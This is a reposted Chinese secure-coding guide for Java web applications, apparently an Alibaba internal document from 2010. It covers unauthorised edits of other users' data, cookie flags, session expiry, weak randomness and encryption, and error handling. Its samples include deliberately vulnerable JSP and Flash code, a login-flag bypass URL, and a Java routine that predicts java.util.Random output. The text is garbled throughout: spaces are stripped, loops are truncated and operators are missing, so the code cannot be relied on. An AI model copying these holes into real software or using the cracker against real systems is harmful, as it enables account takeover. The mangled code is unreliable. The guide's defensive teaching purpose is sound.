6、蠕虫攻击

代码示例

直接在html页面展示“用户可控数据”,将直接导致跨站脚本威胁。

Java示例:

某JSP文件

while(rs.next())

{

%>

<%=rs.getInt("id")%> <%=rs.getString("pname")%> <%=rs.getString("pdesc")%> <%=rs.getString("ptype")%>
#escapeHTML($user.name)文章内容:#SHTML($article.context)
管理个人信息
管理所有用户
username: <%=rs.getString("name")%>
passwd: ">
type: <%=rs.getString("type")%>
realname: ">
email: ">
tel: ">




表单中,将用户的useird作为隐藏字段,提交给处理修改个人信息的应用。

下面代码是修改个人信息的应用

intuserid=Integer.valueOf(request.getParameter("userid"));

Stringemail=request.getParameter("email");

Stringtel=request.getParameter("tel");

Stringrealname=request.getParameter("realname");

Stringpass=request.getParameter("pass");

JdbcConnectionconn=null;

try{

conn=newJdbcConnection();

Object[]params=newObject[5];

params[0]=email;

params[1]=tel;

params[2]=realname;

params[3]=pass;

params[4]=userid;

finalStringsql="updateusersetemail=?,tel=?,realname=?,pass=?whereuserid=?";

conn.execUpdate(sql,params);

conn.closeConn(); 这段代码是从request的参数列表中,获取userid,也就是表单提交上来的userid,之后修改userid对应的用户数据。

而表单中的userid是可以让用户随意修改的。

攻击实例

攻击者通常在修改数据时,变化数据的id,如果存在这个漏洞,就可以修改成功。

如果“代码示例”中的代码,是alibaba.com下的一个web应用程序。

攻击者通过一个浏览器插件,拦截提交的数据,并修改了这个数据,如下图:



修改后,提交,即可修改userid所对应的其他用户的数据。

这个例子是判断了所属人,但是却从“用户可控数据”中,获取了所属人。还有一种形式是没有判断所属人,直接修改数据。

解决方案

从用户的加密认证cookie中,获取当前用户的id,并且需要在执行的SQL语句中,加入当前用户id作为条件语句。由于是web应用控制的加密算法,所以恶意用户无法修改加密信息。

示例代码:

intuserid=Integer.valueOf(GetUseridFromCookie(request));

Stringemail=request.getParameter("email");

Stringtel=request.getParameter("tel");

Stringrealname=request.getParameter("realname");

Stringpass=request.getParameter("pass");

JdbcConnectionconn=null;

try{

conn=newJdbcConnection();

Object[]params=newObject[5];

params[0]=email;

params[1]=tel;

params[2]=realname;

params[3]=pass;

params[4]=userid;

finalStringsql="updateusersetemail=?,tel=?,realname=?,pass=?whereuserid=?";

conn.execUpdate(sql,params);

conn.closeConn(); 代码中通过GetUseridFromCookie,从加密的COOKIE中获取了当前用户的id,并加入到SQL语句中的WHERE条件中。

常见问题

并不是所有的语句都有这个漏洞,有些是定时任务,或后台管理员执行的,这些必须和开发人员一一确认。

Session管理

Cookiehttponlyflag

安全威胁

Cookiehttponly,是设置COOKIE时,可以设置的一个属性,如果COOKIE没有设置这个属性,该COOKIE值可以被页面脚本读取。

当攻击者发现一个XSS漏洞时,通常会写一段页面脚本,窃取用户的COOKIE,为了增加攻击者的门槛,防止出现因为XSS漏洞导致大面积用户COOKIE被盗,所以应该在设置认证COOKIE时,增加这个属性。

代码示例

设置cookie的代码

response.setHeader("SET-COOKIE","user="+request.getParameter("cookie")); 这段代码没有设置httponly属性

攻击实例

见“CrossSiteScript”章节。

解决方案

设置cookie时,加入属性即可

response.setHeader("SET-COOKIE","user="+request.getParameter("cookie")+";HttpOnly"); 下图可以看到cookie已经加入了httponly属性



常见问题

在cookie类中没有找到设置httponly的方法?

目前的jdk版本只支持在setHeader时,设置httponly。

httponly已经可以防止用户cookie被窃取,还需要做XSS防御吗?

这个flag只能增加攻击者的难度,不能达到完全防御XSS攻击。

CookieSecureflag

名称定义

CookieSecure,是设置COOKIE时,可以设置的一个属性,设置了这个属性后,只有在https访问时,浏览器才会发送该COOKIE。

浏览器默认只要使用http请求一个站点,就会发送明文cookie,如果网络中有监控,可能被截获。

如果web应用网站全站是https的,可以设置cookie加上Secure属性,这样浏览器就只会在https访问时,发送cookie。

攻击者即使窃听网络,也无法获取用户明文cookie。

代码示例

设置cookie的代码

response.setHeader("SET-COOKIE","user="+request.getParameter("cookie")+";HttpOnly"); 这段代码没有设置Secure属性

攻击方法

进行网络监听,可以看到下图是没有设置Secure属性的COOKIE发送的数据包。



解决方案

在设置认证COOKIE时,加入Secure。

代码:

response.setHeader("SET-COOKIE","user="+request.getParameter("cookie")+";HttpOnly;Secure"); 再次访问http网站,抓数据包可以看到,已经不再发送这个COOKIE了。





SessionExpires

安全威胁

SessionExpires,ession有效期安全攻击。

由于Session没有在web应用中设置强制超时时间,攻击者一旦曾经获取过用户的Session,就可以一直使用。

代码示例

设置cookie的代码

response.setHeader("SET-COOKIE","user="+request.getParameter("cookie")+";HttpOnly;Secure"); 这段代码没有在服务器中设置强制超时时间。

攻击实例

利用网络监听,xss等一些手段获取用户的cookie,之后就可以一直使用用户身份登录。

具体见“CrossSiteScript”章节或“CookieSecure”章节的示例。

解决方案

在设置认证cookie中,加入两个时间,一个是“即使一直在活动,也要失效”的时间,一个是“长时间不活动的失效时间”。并在web应用中,首先判断两个时间是否已超时,再执行其他操作。

示例:

//判断会员的cookie是否过期

if(isLogin){

StringtimeStampStr=(String)map.get(UserAuthenticationContext.TIMESTAMP);

longloginTime=0;

try{

loginTime=Long.parseLong(timeStampStr);

}catch(NumberFormatExceptione){

if(logger.isInfoEnabled()){

logger.info("loginId:"+usr.getLoginId()+"timestamphasexception"+timeStampStr);

}

}

longnow=System.currentTimeMillis()/1000;

if(now-loginTime>UserAuthenticationContext.COOKIE_VALIDITY){

usr.setAuthenticated(false,true);

if(logger.isInfoEnabled()){

logger.info("loginId:"+usr.getLoginId()+"loginTime:"+loginTime+"nowTime:"+now);

}

}

}

密码算法安全

Insecure?Pseudorandomness

安全威胁

InsecurePseudorandomnesspublicRandom(longseed){

this.seed=newAtomicLong(0L);

setSeed(seed);

}

publicintnextInt(){

returnnext(32);

}

protectedintnext(intbits){

longoldseed,nextseed;

AtomicLongseed=this.seed;

do{

oldseed=seed.get();

nextseed=(oldseedmultiplier+addend)&mask;

}while(!seed.compareAndSet(oldseed,nextseed));

return(int)(nextseed>>>(48-bits));

} 这段代码依靠确定的seed种子来运算出nextseed的值,尽管使用了各种运算但结果仍然是线性可预测的

参考1996年Netscape1.1.40的SSL加密种子被攻破的实例:

http://www.cs.berkeley.edu/~daw/papers/ddj-netscape.html

攻击实例

由于Java下Random种子的伪随机特点,因此可以通过前两次的Random.nextInt()结果来猜测下一个随机数

publicclassRandomCracker{

protectedstaticfinallonga=0x5deece66dL;

protectedstaticfinallongb=0xbL;

protectedstaticfinallongm=(1L<<48)-1;

/



@paramxint0第一次调用nextInt()获取的随机整数

@paramxint1 第二次调用nextInt()获取的随机整数

@output下一次的随机数值

/

publicstaticvoidcrack(intxint0,intxint1)

{

longi;

longseed=-1L;

longx0=(xint0&0xFFFFFFFFL)<<16;

longx1=(xint1&0xFFFFFFFFL);

for(i=0;i<0xFFFFL;i++){

seed=(((x0+i)a)+b)&m;

if((seed>>>16)==x1){



break;

}

seed=-1L;

}

if(seed==-1L)

{

thrownewRuntimeException("InputError!");}

else{



System.out.println("TheCrackedx2="+(int)(((seeda)+b&m)>>>16));

}

}}

解决方案

1、在java中,推荐采用secureRandom()函数代替伪随机的Random()函数。该算法提供了强随机的种子算法(SHA1PRNG)

2、使用随机算法时,尽量将随机数种子复杂化,例如在以ServerTime作为随机种子时,在其后面加一个固定的“offside”整数值,这样可以有效避免被猜到随机种子的来源。

InsufficientEncryptionStrength

安全威胁

InsufficientEncryptionStrength,弱加密强度。

项目中设计到敏感信息的数据采用程序员自己编写的“简单算法”加密,一旦被人获取足够的“样本”,将有可能被反向推测出解密算法,从而泄露重要信息。

一些低强度的密码算法,如DES、RC2等已经可以很容易的在短时间内被人所破解,其它一些容易被误用的“密码算法”,如base64、escape、urlencode等,其实并不是密码算法,只是简单的编码而已,不能起到密码算法保护信息的作用。

代码示例

1、线性加密算法,下面以“古典密码算法”为例:

?

publicclassCaesar{

publicstaticvoidencode(StringPlainText,intOffset){

StringCipherText="";

for(inti=0;i
if(PlainText.charAt(i)==32)

CipherText+=(char)(32);

elseif(PlainText.charAt(i)>=''a''&&PlainText.charAt(i)<=''z'')

CipherText+=(char)(''a''+((PlainText.charAt(i)-''a''+Offset)%26));

elseif(PlainText.charAt(i)>=''A''&&PlainText.charAt(i)<=''Z'')

CipherText+=(char)(''A''+((PlainText.charAt(i)-''A''+Offset)%26));

elseif(PlainText.charAt(i)>=''0''&&PlainText.charAt(i)<=''9'')

CipherText+=(char)(''0''+((PlainText.charAt(i)-''0''+Offset)%10));

}

System.out.println("Ciphertext:"+CipherText);

}

2、FoxMail企业地址簿口令使用弱加密算法等漏洞

攻击实例

破解方法:

1、第一种是“基于明文密文对”的破解,由于在“古典加密算法”中同一字符每次都是映射到另一字符,因此,只要获取到一定数量的明文和加密后的密文,就可以清楚的还原出每个字符的映射关系。并且可以通过映射关系,可以写出解密程序,如下所示。

2、第二种是“只基于密文”的破解,在一定量的日常报文中,每个字母出现的频率是基本一致的,并且在“古典加密算法”中同一字符每次都是映射到另一字符,因此可以根据密文中每个字母出现的频率猜测出映射关系。并且可以通过映射关系,可以写出解密程序,如下所示。

publicstaticvoiddecode(StringCipherText,intOffset){

StringPlainText="";

for(inti=0;i
if(CipherText.charAt(i)==32)

PlainText+=(char)(32);

elseif(CipherText.charAt(i)>=''a''&&CipherText.charAt(i)<=''z'')

if((CipherText.charAt(i)-Offset)<''a''){

PlainText+=(char)(''z''-(''a''-(CipherText.charAt(i)-Offset))+1);

}else{

PlainText+=(char)(''a''+((CipherText.charAt(i)-''a''-Offset)%26));

}

elseif(CipherText.charAt(i)>=''A''&&CipherText.charAt(i)<=''Z'')

if((CipherText.charAt(i)-Offset)<''A''){

PlainText+=(char)(''Z''-(''A''-(CipherText.charAt(i)-Offset))+1);

}else{

PlainText+=(char)(''A''+((CipherText.charAt(i)-''A''-Offset)%26));

}

elseif(CipherText.charAt(i)>=''0''&&CipherText.charAt(i)<=''9'')

if((CipherText.charAt(i)-Offset)<''0''){

PlainText+=(char)(''9''-(''0''-(CipherText.charAt(i)-Offset))+1);

}else{

PlainText+=(char)(''0''+((CipherText.charAt(i)-''0''-Offset)%10));

}

}

System.out.println("PlainText:"+PlainText);

} 解决方案

禁止使用自己编写的密码算法。

不要将编码(如Base64)和密码算法混为一谈,前者不是密码算法。

不要使用低强度的密码算法,如DES、RC2等,必须采用符合业内安全强度标准的密码算法,见下表:

安全目的 保密性 认证

不可抵赖性 保密性

认证

不可抵赖性 保密性

认证

不可抵赖性 完整性 完整性

来源认证 算法强度(按对称密钥长度和算法安全期限) 对称算法 DSA电子签名算法 RSA算法 ECC算法 摘要算法 HMAC信息验证码 安全强度为80位;

安全时间到2010年 2TDES

3TDES

AES-128

AES-192

AES-256 最小长度:

公钥=1024;

私钥=160 最小长度:

密钥对=1024 最小长度:

密钥对=160 SHA-1,

SHA-224,

SHA-256,

SHA-384,

SHA-512 SHA-1,

SHA-224,

SHA-256,

SHA-384,

SHA-512 安全强度为112位;

安全时间到2030年 3TDES

AES-128

AES-192

AES-256 最小长度:

公钥=2048

私钥=224 最小长度:

密钥对=2048 最小长度:

密钥对=224 SHA-224,

SHA-256,

SHA-384,

SHA-512 SHA-1,

SHA-224,

SHA-256,

SHA-384,

SHA-512 注:参考文档:《证书及密钥安全标准v6DC-0216》,刘坤,阿里云-集团信息安全中心



错误处理与日志

ErrorHandling

安全威胁

ErrorHandling错误处理。

在web应用程序出错时,会返回一些程序异常信息,从而暴露很多对攻击者有用的信息,攻击者可以利用这些错误信息,制定下一步攻击方案。

代码示例

如下代码是做数据库查询的:

try{

PreparedStatementpst=conn.prepareStatement(sql);

ResultSetrs=pst.executeQuery();

while(rs.next()){

Useru=newUser();

u.setId(rs.getLong("id"));

u.setName(rs.getString("name"));

u.setPass(rs.getString("pass"));

u.setType(rs.getInt("type"));

userlist.add(u);

}

System.out.println();

if(rs!=null)rs.close();

if(pst!=null)pst.close();

if(conn!=null)conn.close();

}catch(SQLExceptione){

//TODOAuto-generatedcatchblock

e.printStackTrace();

} 直接抛出了错误异常,没有经过任何处理。

攻击实例

在进行SQL注入攻击时,攻击者提交可以让程序出错的get请求,导致web应用展现了错误页面:



看到这个信息,攻击者可以做以下判断:

数据库是oracle。

查询语句的列数不正确。

根据这个判断,攻击者调整get请求的内容,最终达到获取数据库所有数据的目的。

解决方案

配置错误页面,让所有的错误都只显示友好信息,不显示任何与实际错误相关的信息。例如以下页面:



Logging

记录日志

在web应用运行的过程中,必须开启安全日志。当疑似攻击发生时,对用户的当前请求,记录日志。在所有安全方案中需要记录日志的地方,都应该按照本章节的要求记录日志,以便回溯攻击场景。

日志存储

日志文件要单独放在服务器上,不能和web容器的log放在同一个文件中,并且是http无法直接访问到的地方,例如

/home/admin/tomcat/logs/security(date).log

日志存储要预留http接口,以便需要时将日志通过http,发送到统一的服务器上。

日志字段



字段 说明

IP 访问者IP地址

用户id 如果用户已登录,可以记录

用户名 如果用户已登录,可以记录

cookie 当前httprequest中的cookie

method POST/GET

httprequest数据包内容 可配置

动作描述 可能发生的攻击

分类 可能发生的攻击类型

威胁级别 根据漏洞类型定义

攻击者/受攻击者 本次事件是攻击者的请求,还是被攻击者的请求

时间 攻击发生的时间,要以服务器时间为准

Changelog

添加密码安全章节,添加errorhanding章节,添加flash章节--2010-7-7

周拓修正CrossSiteScript章节错误,李昊、刘坤校对 -- 2010-8-20

相关链接

中文站CSRF方案:

http://security.alibaba-inc.com/twiki/bin/view/Security/SecuritySolution/%E4%B8%AD%E6%96%87%E7%AB%99CSRF%E6%96%B9%E6%A1%88

Ibatis防SQL注射方案:

http://security.alibaba-inc.com/twiki/bin/view/Security/SecuritySolution/Ibatis%E9%98%B2SQL%E6%B3%A8%E5%B0%84%E6%96%B9%E6%A1%88

JavaScript编码安全规范:

http://security.alibaba-inc.com/twiki/bin/view/Security/SecuritySolution/JavaScript%e7%bc%96%e7%a0%81%e5%ae%89%e5%85%a8%e8%a7%84%e8%8c%83

Velocity跨站修补方案:

http://security.alibaba-inc.com/twiki/bin/view/Security/SecuritySolution/Velocity%E8%B7%A8%E7%AB%99%E4%BF%AE%E8%A1%A5%E6%96%B9%E6%A1%88

















If(checklogin)

{

????????Userlogin=ture;

}

trace(“管理员验证成功”);



System.security.allowDomain("");

loadMovie(param1,param2);



If(checklogin)

{

????????Userlogin=ture;

}

If(Userlogin)

{

????????ShowData();

}



http://hi.baidu.com/cn_ben/login.swf?Userlogin=ture



//instantiateanewobject

varmyObject:Object=newObject();



//definethe__resolvefunction

myObject.__resolve=function(name){

return"未定义的变量";

};



this.createTextField("txtMetadata",this.getNextHighestDepth(),10,10,500,500);

txtMetadata.html=true;

varnc:NetConnection=newNetConnection();

nc.connect(null);

varns:NetStream=newNetStream(nc);

ns.onMetaData=function(infoObject:Object){

for(varpropName:StringininfoObject){

txtMetadata.htmlText+=propName+"="+

infoObject[propName];

}};

ns.play("http://localhost/test.flv");



onID3=function(){

my_text.htmlText=this.id3.author;

};



Importflash.external.;



……省略代码……

ExternalInterface.call(用户输入变量,用户数据参数);

……省略代码……







献花(0)
+1
(本文系牛的主人首藏)
类似文章 更多
发表评论: